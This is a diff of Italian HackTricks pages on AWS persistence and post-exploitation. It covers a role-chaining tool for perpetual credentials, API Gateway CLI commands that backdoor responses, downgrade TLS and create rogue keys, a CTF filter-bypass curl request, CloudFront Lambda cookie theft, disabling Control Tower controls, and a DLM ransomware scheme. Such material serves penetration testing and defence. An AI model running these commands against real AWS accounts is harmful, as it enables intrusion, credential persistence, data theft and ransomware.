@@ -0,0 +1,21 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Backdoor a step function per farla eseguire qualsiasi persistence trick, così ogni volta che viene eseguita eseguirà i tuoi passaggi malevoli.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
Se l'account AWS utilizza aliases per chiamare step functions, sarebbe possibile modificare un alias per usare una nuova versione backdoored della step function.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,36 +1,36 @@
|
||||
# AWS - STS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Per ulteriori informazioni accedi a:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Assume role token
|
||||
|
||||
I token temporanei non possono essere elencati, quindi mantenere un token temporaneo attivo è un modo per mantenere la persistenza.
|
||||
I token temporanei non possono essere elencati, quindi mantenere un token temporaneo attivo è un modo per mantenere la persistence.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# Con MFA
|
||||
# With MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Il nome del dispositivo hardware è solitamente il numero sul retro del dispositivo, come GAHT12345678
|
||||
<strong># Il nome del dispositivo SMS è l'ARN in AWS, come arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Il nome del dispositivo virtuale è l'ARN in AWS, come arn:aws:iam::123456789012:mfa/username
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere una persistenza stealth. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali.
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere la stealth persistence. Coinvolge la possibilità di **assumere un ruolo che poi ne assume un altro**, potenzialmente ritornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumersi reciprocamente, questa impostazione consente il rinnovo perpetuo delle credenziali.
|
||||
|
||||
Puoi utilizzare questo [**strumento**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il chaining dei ruoli:
|
||||
Puoi usare questo [**tool**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il role chaining:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,11 +40,11 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che lo script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) di quel repository Github non trova tutti i modi in cui una catena di ruoli può essere configurata.
|
||||
> Nota che lo script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) di quel repository Github non trova tutti i modi in cui una role chain può essere configurata.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Codice per eseguire il Role Juggling da PowerShell</summary>
|
||||
<summary>Codice per eseguire Role Juggling con PowerShell</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,132 +0,0 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Accesso a API non esposte
|
||||
|
||||
Puoi creare un endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con il servizio `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente tramite una macchina EC2) e assegnare un gruppo di sicurezza che consenta tutte le connessioni.\
|
||||
Poi, dalla macchina EC2 sarai in grado di accedere all'endpoint e quindi chiamare l'API del gateway che non era stata esposta prima.
|
||||
|
||||
### Bypass del passthrough del corpo della richiesta
|
||||
|
||||
Questa tecnica è stata trovata in [**questo CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Come indicato nella [**documentazione AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) nella sezione `PassthroughBehavior`, per impostazione predefinita, il valore **`WHEN_NO_MATCH`**, quando controlla l'intestazione **Content-Type** della richiesta, passerà la richiesta al back end senza alcuna trasformazione.
|
||||
|
||||
Pertanto, nel CTF, l'API Gateway aveva un modello di integrazione che **preveniva l'exfiltrazione della flag** in una risposta quando veniva inviata una richiesta con `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Tuttavia, inviare una richiesta con **`Content-type: text/json`** impedirebbe quel filtro.
|
||||
|
||||
Infine, poiché l'API Gateway consentiva solo `Get` e `Options`, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel corpo e utilizzando l'intestazione `X-HTTP-Method-Override: GET`:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Usage Plans DoS
|
||||
|
||||
Nella sezione **Enumeration** puoi vedere come **ottenere il piano di utilizzo** delle chiavi. Se hai la chiave e è **limitata** a X utilizzi **al mese**, potresti **semplicemente usarla e causare un DoS**.
|
||||
|
||||
La **API Key** deve essere **inclusa** all'interno di un **HTTP header** chiamato **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaccante con i permessi `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` può **modificare una Gateway Response esistente per includere intestazioni personalizzate o modelli di risposta che leak informazioni sensibili o eseguire script dannosi**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
|
||||
# Update the Gateway Response
|
||||
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita di test
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaccante con i permessi `apigateway:UpdateStage` e `apigateway:CreateDeployment` può **modificare un stage esistente di API Gateway per reindirizzare il traffico a un altro stage o cambiare le impostazioni di caching per ottenere accesso non autorizzato ai dati memorizzati nella cache**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
|
||||
# Update the API Gateway stage
|
||||
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impatto Potenziale**: Accesso non autorizzato ai dati memorizzati nella cache, interruzione o intercettazione del traffico API.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita di test
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaccante con i permessi `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` può **modificare la risposta del metodo di un metodo API Gateway REST API esistente per includere intestazioni personalizzate o modelli di risposta che leak informazioni sensibili o eseguire script dannosi**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
HTTP_METHOD="GET"
|
||||
STATUS_CODE="200"
|
||||
|
||||
# Update the method response
|
||||
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impatto Potenziale**: Perdita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita di test
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaccante con i permessi `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` può **modificare le impostazioni dell'API Gateway REST API per disabilitare il logging o cambiare la versione minima di TLS, potenzialmente indebolendo la sicurezza dell'API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
# Update the REST API settings
|
||||
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impatto Potenziale**: Indebolire la sicurezza dell'API, potenzialmente consentendo accessi non autorizzati o esponendo informazioni sensibili.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita di test
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
Un attaccante con permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` può **creare nuove chiavi API, associarle ai piani di utilizzo e poi utilizzare queste chiavi per accessi non autorizzati alle API**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
# Create a new usage plan
|
||||
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
|
||||
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Impatto Potenziale**: Accesso non autorizzato alle risorse API, eludendo i controlli di sicurezza.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita di test
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,132 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Per maggiori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Accesso ad API non esposte
|
||||
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente via una macchina EC2) e assegnare un security group che permetta tutte le connessioni.\
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
|
||||
|
||||
### Bypass del passthrough del body della richiesta
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
|
||||
|
||||
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Tuttavia, inviare una richiesta con **`Content-type: text/json`** avrebbe aggirato quel filtro.
|
||||
|
||||
Infine, poiché l'API Gateway consentiva soltanto `Get` e `Options`, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel body e usando l'header `X-HTTP-Method-Override: GET`:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Usage Plans DoS
|
||||
|
||||
Nella sezione **Enumeration** puoi vedere come **ottenere il usage plan** delle chiavi. Se possiedi la chiave ed è **limitata** a X utilizzi **al mese**, puoi semplicemente **usarla e causare un DoS**.
|
||||
|
||||
La **API Key** deve semplicemente essere **inserita** dentro un **HTTP header** chiamato **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaccante con i permessi `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` può **modificare una Gateway Response esistente per includere header personalizzati o response templates che leak informazioni sensibili o eseguono script dannosi**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
|
||||
# Update the Gateway Response
|
||||
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impatto potenziale**: Perdita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato a risorse API.
|
||||
|
||||
> [!NOTE]
|
||||
> Da testare
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaccante con i permessi `apigateway:UpdateStage` e `apigateway:CreateDeployment` può **modificare uno stage esistente di API Gateway per reindirizzare il traffico verso uno stage diverso o cambiare le impostazioni di caching per ottenere accesso non autorizzato ai dati memorizzati nella cache**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
|
||||
# Update the API Gateway stage
|
||||
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impatto potenziale**: Accesso non autorizzato a dati memorizzati nella cache, interruzione o intercettazione del traffico API.
|
||||
|
||||
> [!NOTE]
|
||||
> Da testare
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaccante con i permessi `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` può **modificare la risposta del metodo di un metodo esistente di API Gateway REST API per includere header personalizzati o template di risposta che leak informazioni sensibili o eseguano script malevoli**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
HTTP_METHOD="GET"
|
||||
STATUS_CODE="200"
|
||||
|
||||
# Update the method response
|
||||
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impatto potenziale**: Leakage di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato a risorse API.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita di test
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attacker con i permessi `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` può **modificare le impostazioni della REST API di API Gateway per disabilitare il logging o cambiare la versione minima di TLS, indebolendo potenzialmente la sicurezza dell'API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
# Update the REST API settings
|
||||
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impatto potenziale**: Indebolimento della sicurezza dell'API, potenzialmente consentendo accesso non autorizzato o esponendo informazioni sensibili.
|
||||
|
||||
> [!NOTE]
|
||||
> Da testare
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
Un attacker con i permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, e `apigateway:CreateUsagePlanKey` può **creare nuove API keys, associarle a usage plans e poi usare queste keys per ottenere accesso non autorizzato alle APIs**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
# Create a new usage plan
|
||||
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
|
||||
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Impatto potenziale**: Accesso non autorizzato alle risorse API, aggirando i controlli di sicurezza.
|
||||
|
||||
> [!NOTE]
|
||||
> Da testare
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,31 +0,0 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
Questo [**post del blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione tramite CloudFront** con lo scopo di **rubare** informazioni degli utenti (come il **cookie** di sessione) e **modificare** la **risposta** (iniettando uno script JS malevolo).
|
||||
|
||||
#### scenario 1: MitM dove CloudFront è configurato per accedere a qualche HTML di un bucket
|
||||
|
||||
- **Crea** la **funzione** malevola.
|
||||
- **Associala** alla distribuzione CloudFront.
|
||||
- Imposta il **tipo di evento su "Viewer Response"**.
|
||||
|
||||
Accedendo alla risposta potresti rubare il cookie degli utenti e iniettare un JS malevolo.
|
||||
|
||||
#### scenario 2: MitM dove CloudFront sta già utilizzando una funzione lambda
|
||||
|
||||
- **Modifica il codice** della funzione lambda per rubare informazioni sensibili
|
||||
|
||||
Puoi controllare il [**codice tf per ricreare questi scenari qui**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,31 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Per maggiori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione attraverso CloudFront** con lo scopo di **steal** informazioni degli utenti (come il session **cookie**) e **modify** la **response** (iniettando uno script JS malevolo).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Create** la **function** malevola.
|
||||
- **Associate** la function alla distribution CloudFront.
|
||||
- Setta il **event type to "Viewer Response"**.
|
||||
|
||||
Accedendo alla risposta potresti rubare il cookie degli utenti e iniettare uno script JS malevolo.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
|
||||
- **Modify the code** della lambda function per rubare informazioni sensibili
|
||||
|
||||
Puoi controllare il [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +0,0 @@
|
||||
# AWS - Controllo Torre Post Sfruttamento
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Controllo Torre
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Abilita / Disabilita Controlli
|
||||
|
||||
Per sfruttare ulteriormente un account, potresti dover disabilitare/abilitare i controlli di Control Tower:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,18 @@
|
||||
# AWS - Control Tower Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Abilita / Disabilita controlli
|
||||
|
||||
Per sfruttare ulteriormente un account, potrebbe essere necessario disabilitare/abilitare i controlli di Control Tower:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Un attacco ransomware può essere eseguito crittografando il maggior numero possibile di volumi EBS e poi cancellando le attuali istanze EC2, volumi EBS e snapshot. Per automatizzare questa attività malevola, si può utilizzare Amazon DLM, crittografando gli snapshot con una chiave KMS di un altro account AWS e trasferendo gli snapshot crittografati a un account diverso. In alternativa, potrebbero trasferire snapshot senza crittografia a un account che gestiscono e poi crittografarli lì. Anche se non è semplice crittografare direttamente i volumi EBS o gli snapshot esistenti, è possibile farlo creando un nuovo volume o snapshot.
|
||||
|
||||
Innanzitutto, si utilizzerà un comando per raccogliere informazioni sui volumi, come ID istanza, ID volume, stato di crittografia, stato di attacco e tipo di volume.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
In secondo luogo, si creerà la policy di lifecycle. Questo comando utilizza l'API DLM per impostare una policy di lifecycle che prende automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica anche tag specifici agli snapshot e copia i tag dai volumi agli snapshot. Il file policyDetails.json include i dettagli della policy di lifecycle, come tag target, programma, l'ARN della chiave KMS opzionale per la crittografia e l'account target per la condivisione degli snapshot, che saranno registrati nei log di CloudTrail della vittima.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Un modello per il documento di policy può essere visto qui:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,91 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
